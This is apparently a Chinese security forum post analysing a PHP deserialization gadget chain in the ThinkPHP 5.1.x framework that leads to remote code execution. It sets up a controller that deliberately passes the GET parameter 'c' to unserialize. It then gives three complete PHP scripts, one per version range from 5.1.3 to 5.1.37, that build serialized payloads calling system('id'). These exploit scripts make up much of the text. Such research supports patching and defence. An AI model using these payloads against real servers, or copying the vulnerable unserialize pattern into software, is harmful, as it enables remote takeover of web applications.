【迎国庆】ThinkPHP5.1.X反序列化利用链

2019年7月25日,在 ThinkPHP 官方 github 上有人提交了这个 issue ,遂想一探究竟。

环境搭建

➜  composer create-project --prefer-dist topthink/think tp5137
➜  cd tp5137
➜  vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜  composer update

application/index/controller/Index.php 代码修改成如下:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $u = unserialize($_GET['c']);
        return 'hhh';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

利用条件

  • 有一个内容完全可控的反序列化点,例如: unserialize(可控变量)

  • 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists('phar://恶意文件')

(满足以上任意一个条件即可)

漏洞链

这个漏洞个人认为比较有意思的是:通过 file_exists 函数触发类的 __toString 方法。下面,我们具体分析一下整个漏洞攻击链。

think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。如果我们将一个类赋值给 $filename 变量,那么在 file_exists($filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。

接下来,我们就来寻找可利用的 __toString 方法。全局搜索到的 __toString 方法其实不多,这里有两处都可以利用。它们的区别在于利用 think\Collection 构造的链要多构造一步,我们这里只分析链较短的 think\model\concern\Conversion

如下图 第191-192行 所示,$relation 变量来自 $this->data[$name] ,而这个变量是可以控制的。第192行$name 变量来自 $this->append ,也是可以控制的。所以 $relation->visible($name) 就变成了:可控类->visible(可控变量) 。那么接下来,就要找可利用的 visible 方法,或者没有 visible 方法,但有可利用的 __call 方法。

全局搜了一下 visible 方法大概有3处,但是都不能利用,所以我们考虑寻找可利用的 __call 方法。在搜 __call 方法的时候,会发现有一处 think\Request类比较好利用,因为这里 call_user_func_array 函数的第一个参数完全可控。构造 EXP 的时候可以传入数组,变成 call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法。

分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func($filter,$data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

调用 input 的方法共有7处,我这里直接选择比较简单的 request 方法来分析,因为这7处关键代码都类似。如果这里通过调用 request 方法间接调用 input 方法,实际上框架会报错退出的。因为这里传给 input 方法的 $name (下图右边第1092行),实际上是先前 call_user_func_array(array(任意类,任意方法),$args)$args 数组的第一个变量,即我们前面说的一个固定死的类对象。然而如果把一个类对象作为 $data 传给 input 方法,那么在强转成字符串的时候(上图左边1354行),框架就会报错退出。

所以我们这里还要继续找有哪些地方调用了这7处。这里搜了调用 param 方法的地方,发现 isAjaxisPjax 都可以利用,因为他们传入 param 方法的第一个参数均可控。

这样,整个漏洞链就构造完了。下面举个例子,比如我们想执行 system('id') 代码,那么我们只要让传入的 Request 对象的 $this->filter='system'$this->param=array('id') 即可,所以最终 EXP 如下(不同版本EXP不一样):

5.1.16<=ThinkPHP版本<=5.1.37

// /var/www/html/genexp.php
<?php

namespace think\process\pipes{
    class Windows
    {
        private $files = [];
        public function __construct($files=[])
        {
            $this->files = $files;
        }
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        public function __construct($data=[])
        {
            $this->data = $data;
        }
    }

    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $param = [];
        protected $filter = 'system';

        public function __construct($hook=[], $config=[], $param=[], $filter=[])
        {
            $this->hook = $hook;
            $this->config = $config;
            $this->param = $param;
            $this->filter = $filter;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        protected $append = [];
        public function __construct($append=[], $data=[])
        {
            $this->append = $append;
            parent::__construct($data);
        }
    }
}

namespace{
    $request = new think\Request('demo', array('var_ajax'=>''), array('id'), 'system');
    $request = new think\Request(array('visible'=>array($request,'isAjax')));
    $pivot = new think\model\Pivot(array('class'=>array('request')), array('class'=>$request));
    $windows = new think\process\pipes\Windows(array($pivot));
    echo urlencode(serialize($windows));
}

5.1.14<=ThinkPHP版本<=5.1.15

// /var/www/html/genexp.php
<?php

namespace think\process\pipes{
    class Windows
    {
        private $files = [];
        public function __construct($files=[])
        {
            $this->files = $files;
        }
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        public function __construct($data=[])
        {
            $this->data = $data;
        }
    }

    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $param = [];
        protected $filter = 'system';

        public function __construct($hook=[], $config=[], $param=[], $filter=[])
        {
            $this->hook = $hook;
            $this->config = $config;
            $this->param = $param;
            $this->filter = $filter;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        protected $append = [];
        public function __construct($append=[], $data=[])
        {
            $this->append = $append;
            parent::__construct($data);
        }
    }
}

namespace{
    $request = new think\Request('demo', array('var_ajax'=>''), array('id'), 'system');
    $request = new think\Request(array('append'=>array($request,'isAjax')));
    $pivot = new think\model\Pivot(array('class'=>array('request')), array('class'=>$request));
    $windows = new think\process\pipes\Windows(array($pivot));
    echo urlencode(serialize($windows));
}

5.1.3<=ThinkPHP版本<=5.1.13

<?php

namespace think\process\pipes{
    class Windows
    {
        private $files = [];
        public function __construct($files=[])
        {
            $this->files = $files;
        }
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        public function __construct($data=[])
        {
            $this->data = $data;
        }
    }

    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $param = [];
        protected $filter = 'system';

        public function __construct($hook=[], $config=[], $param=[], $filter=[])
        {
            $this->hook = $hook;
            $this->config = $config;
            $this->param = $param;
            $this->filter = $filter;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        protected $append = [];
        public function __construct($append=[], $data=[])
        {
            $this->append = $append;
            parent::__construct($data);
        }
    }
}

namespace think{
    class Hook
    {
        private $tags = [];
        public function __construct($tags = [])
        {
            $this->tags = $tags;
        }
    }
}

namespace{
    $rulename = new think\Hook(array('var_ajax'=>''));
    $request = new think\Request('demo', $rulename, array('id'), 'system');
    $request = new think\Request(array('append'=>array($request,'isAjax')));
    $pivot = new think\model\Pivot(array('class'=>array('request')), array('class'=>$request));
    $windows = new think\process\pipes\Windows(array($pivot));
    echo urlencode(serialize($windows));
}

最后整理一下攻击链的流程图:

参考

挖掘暗藏thinkphp中的反序列利用链

5 个赞